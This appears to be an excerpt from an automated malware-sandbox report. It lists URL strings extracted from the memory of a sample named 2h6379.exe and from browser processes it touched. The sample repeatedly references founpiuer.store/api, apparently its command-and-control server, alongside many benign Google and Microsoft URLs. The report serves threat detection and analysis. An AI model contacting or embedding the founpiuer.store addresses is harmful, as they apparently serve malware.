Source: 2h6379.exe, 00000003.00000003.2251156197.000000000156E000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2125823224.0000000001585000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2123407217.0000000001580000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2123243213.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/
Source: 2h6379.exe, 00000003.00000003.2251138988.000000000156A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251156197.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/:
Source: 2h6379.exe, 00000003.00000003.2251138988.000000000156A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251156197.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/G
Source: 2h6379.exe, 00000003.00000003.2679910586.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.0000000001522000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680956566.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/X
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2140281080.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.00000000014F4000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2123467072.000000000157A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2176505408.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2126207227.000000000157A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2123243213.0000000001580000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2059894872.00000000014F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api
Source: 2h6379.exe, 00000003.00000003.2123243213.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api0
Source: 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apiH
Source: 2h6379.exe, 00000003.00000003.2140281080.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2176505408.0000000001577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apiK
Source: 2h6379.exe, 00000003.00000003.2059829749.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apii
Source: 2h6379.exe, 00000003.00000003.2176505408.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2059894872.00000000014F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apin
Source: 2h6379.exe, 00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apis
Source: 2h6379.exe, 00000003.00000003.2176447997.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/c
Source: 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/api
Source: 2h6379.exe, 00000003.00000003.2059829749.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apii
Source: 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apil
Source: 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apin.txtPK
Source: chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/%
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(
Source: chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/1
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9
Source: chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/J
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Q
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/T
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/b
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/e
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 0000000A.00000002.2534401912.00005E0002598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000007.00000003.2390338532.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2394240774.000000E801F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2388362637.000000E801E24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2387751136.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392453900.000000E801EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000007.00000003.2343530140.000063C400878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000007.00000003.2345861583.000000E8001C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://m.soundcloud.com/
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000007.00000003.2390338532.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2394240774.000000E801F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2388362637.000000E801E24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2387751136.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392453900.000000E801EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 0000000A.00000002.2534401912.00005E0002598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 0000000A.00000002.2534401912.00005E0002598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://music.amazon.com
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://music.apple.com
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: 000003.log4.11.dr, 2cc80dabc69f58b6_0.11.dr	String found in binary or memory: https://ntp.msn.com
Source: msedge.exe, 0000000A.00000002.2534401912.00005E0002598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000007.00000003.2392785957.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000007.00000003.2352966205.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
